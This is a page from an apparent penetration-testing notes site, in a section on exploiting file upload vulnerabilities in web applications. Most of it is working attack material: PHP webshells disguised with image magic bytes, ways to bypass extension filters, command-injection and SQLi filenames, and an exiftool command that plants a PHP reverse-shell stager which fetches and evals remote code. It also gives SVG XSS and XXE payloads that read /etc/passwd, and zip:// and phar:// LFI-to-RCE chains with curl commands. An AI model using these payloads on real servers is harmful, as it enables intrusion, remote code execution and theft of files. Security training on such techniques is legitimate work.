Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • Absent Validation
  • Client-Side Filters
  • Server-side Filters
  • Type Filters
  • Blacklists/Whitelists
  • Attacks
  • Filename Injection
  • Uploads Directory
  • Metadata Injection
  • SVGs
  • RCE
  • Image
  • ZIP
  • Phar

Was this helpful?

  1. TL;DR
  2. Web

File Uploads

PreviousCORSNextMass Assignment

Last updated 9 months ago

Was this helpful?

File upload vulnerabilities occur when a web application improperly handles user-uploaded files, allowing potentially harmful files to be uploaded.

This can lead to server compromise, execution of malicious code, and unauthorized access to sensitive data.

Validate file types, use secure file storage paths, implement antivirus scanning, and enforce strict access controls on uploaded files.

Absent Validation

Enumerate the technologies used on the server -> upload a same-language webshell.

whatweb <URL>
ffuf -u <URL>/index.FUZZ -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -c -ac

Client-Side Filters

The example below is based on TCM's course.

We should start by using the application as intended in order to understand how it works. In doing so, the uploads directory is revealed (/uploads) as well as some extension filters (Figure 1).

If we inspect the front-end code, we will notice that the file validation check happens on the client-side (Figure 2).

<?php system($_GET['cmd']); ?>

Server-side Filters

Type Filters

If the server implicitly trusts the Content-Type header's value and no further validation is performed, then by changing its value to an expected content type before it reaches the server will result in bypassing this filter (Figure 4).

# original webshell
$ cat webshell.php
<?php system($_GET['cmd']); ?>
# system recognizes as a PHP script
$ file webshell.php
webshell.php: PHP script, ASCII text
$ file --mime-type webshell.php
../user-content/webshell.php: text/x-php
# add 4 random bytes at the start of it
$ cat webshell.php
AAAA<?php system($_GET['cmd']); ?>
# change the 4 bytes to FF D8 FF E0
$ hexeditor webshell.php

Next, we can check if the file is now recognized as an image file instead of a PHP script.

# confirm the change
$ cat webshell.php
����<?php system($_GET['cmd']); ?>
# system recongizes as a JPEG file
$ file webshell.php
webshell.php: JPEG image data
$ file --mime-type webshell.php
webshell.php: image/jpeg

To upload the shell we must first bypass the client-side extension filter by adding an image extension to the file and then remove that extension via our proxy, so the server is able to execute it (Figure 7).

Finally, we can interact with the webshell either via the browser or using curl.

$ curl http://localhost/labs/uploads/webshell.php?cmd=id
����uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blacklists/Whitelists

Sometimes a server-side filter can be based on a whitelist or a blacklist (Figure 8).

By trying both php5 and phtml , we see that only the latter works as the server is not configured to interpret the former as a valid PHP script.

$ curl http://localhost/labs/uploads/shell.php5?cmd=id
����<?php system($_GET['cmd']); ?>

$ curl http://localhost/labs/uploads/shell.phtml?cmd=id
����uid=33(www-data) gid=33(www-data) groups=33(www-data)

Some filters might only check if the extension exists within the file name, which can be bypassed by renaming the file to webshell.jpg.phar (double extension method). Others, might require for the file name to end with an allowed extension so we will have to switch the extensions over, i.e., webshell.phar.jpg (Figure 10) (reverse double extension method).

In case we can use the reverse double extension method, the file will be uploaded but it might not be able to execute. Instead it can be served as a direct download (Figure 11.1) or as a page (Figure 11.2).

This can be potentially bypassed by a null byte injection. The null byte (\x00) marks the end of a string in various programming languages. By injecting a URL-encoded null byte after the script's extension (.php) (Figure 13), the server might interpret it as the end of the string and ignore what comes after it, in this case, the .png extension. However, when the server later processes the file, it could read it as a PHP script and execute it.

To access the file only the part before the null byte might be called, i.e., revshell.php.

Attacks

Filename Injection

When the uploaded file name is refected on the page. If the OS moves the file with a command such as mv <file> /tmp, then we achieve RCE.

# command execution
file$(whoami).jpg
file`whoami`.jpg
file.jpg||whoami

Similarly, an XSS or SQLi attack can be performed.

# xss
<script>alert(window.origin);</script>
# sql
file';select+sleep(5);--.jpg

Uploads Directory

  • Check source code after uploading a file.

  • Fuzz for an /uploads directory, and then for the file itself.

  • Forcing error messages that might disclose the uploads directory:

    • Uploading a file that already exists or sending 2 identical requests simultaneously.

    • Uploading a file with a very (very) long name.

Metadata Injection

If the web application displays the image's metadata, a payload can be injected in one of the metadata's fields. When the image's metadata is displayed, the payload will be triggered.

# injecting an XSS payload into the Comment field
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' image.jpg
# injecting a reverse shell payload into the Document Name field
exiftool -DocumentName='/*<?php /**/ error_reporting(0); $ip = "127.0.0.1"; $port = 4444; if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = "stream"; } elseif (($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port); $s_type = "stream"; } elseif (($f = "socket_create") && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = "socket"; } else { die("no socket funcs"); } if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; eval($b); die(); __halt_compiler();' duck.jpg
     1 image files updated

If the metadata is not directly displayed, chaning the MIME-type to text/html, might cause the file to be treated as an HTML document and directly trigger the payload.

SVGs

We can include XSS payloads within the XML data of SVG images. Once the image is displayed, the payload will be triggered.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

RCE

If the vulnerable function has code Execute capabilities, then the code within the file we upload will get executed if we include it, regardless of the file extension or type. The file upload form does not need to be vulnerable, just allowing file uploads.

Function
Read Content
Execute
Remote URL

PHP

include()/include_once()

✅

✅

✅

require()/require_once()

✅

✅

❌

NodeJS

res.render()

✅

✅

❌

Java

import

✅

✅

✅

.NET

include

✅

✅

✅

Image

# Creating a malicious GIF file
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
# RCE
curl http://<ip:port>/index.php?language=./profile_images/shell.gif&cmd=id

ZIP

# Creating and archiving webshell (zip file = shell.jpg)
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
# upload -> RCE (URL-encode '#' -> %23)
curl http://<ip:port>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Phar

We can also use the phar:// wrapper to achieve RCE. The script below can be compiled into a phar file that when called would write a web shell to a shell.txt sub-file, which can be accessed using /.

shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
# Compiling the script into a phar file called 'shell.jpg'
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
# Upload -> RCE (URL-encode '/' -> %2F)
curl http://<ip:port>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

We can try bypassing this check and upload a by intercepting the request before it reaches the server, but after passing the above validateFileInput check (Figure 3).

-> indicates that nature and format of a file.

header -> tells the receiving machine what type of data to expect and how to interpret it.

The example below is based on TCM's course.

Except checking the Content-Type header's value, or in addition to it, the server might actually check the file's content. In this case, polyglot files, i.e., files that different application interpret in different ways, can be created to trick the application. This can be achieve by modifying the file's , aka headers or signatures. For instance, the application below has both a client-side and a server-side filter (Figure 5).

We can try adding the to our webshell using a tool such as hexedit or (Figure 6), which might trick the system into uploading it.

In this case, we can fuzz the file extension and see if any has been left out of it (Figure 9).

We can also perform attacks using SVG images. This can be used for reading the web application's source files.

We can create a malicious image containing PHP code, using an allowed image extension (bypassing extension filters), in this case .gif,and including the image's at the beginning of the file content (GIF8) (bypassing content type filters).

This file on its own is harmless and would not affect normal web application. However, if we combine it with an LFI flaw, then we may be able to achieve RCE after finding its .

The wrapper (not enabled by default) allows to achieve RCE by archiving a webshell into a zip file ending in an allowed extension, e.g. .jpg. The files within the archived can be reached using #. This has a higher chance to work if ZIP uploads are allowed by the application, as content-type filters may block it.

There is another obsolete LFI/uploads attack worth noting, which occurs if file uploads is enabled in the PHP config and the phpinfo() page is somehow exposed to us. This attack has very specific requirements to work: LFI + uploads enabled + old PHP + exposed phpinfo(). You can find more info .

webshell
MIME type
Content-Type
Practical Bug Bounty
magic bytes
JPG magic bytes
hexeditor
valid PHP extension
XXE
zip
here
magic bytes
uploads directory
Practical Bug Bounty
Figure 1: Using the application's functionality as intended.
Figure 2: Inspecting the application's source code.
Figure 3: Bypassing the client-side filter and achieving RCE.
Figure 4: Bypassing the server-side filter by modifying the Content-Type header.
Figure 5: The server-side filter does not allow us to upload our webshell.
Figure 6: Editing the file's magic bytes.
Figure 7: Bypassing both the client-side and server-side filters.
Figure 8: A blacklist-based server side filter blocking .php file extensions.
Figure 9: Fuzzing for valid php extensions.
Figure 10: Bypassing the extension filter using double extensions.
Figure 11: The webshell script treated as a direct download and a page.
Figure 13: Injecting a null byte in the file's name.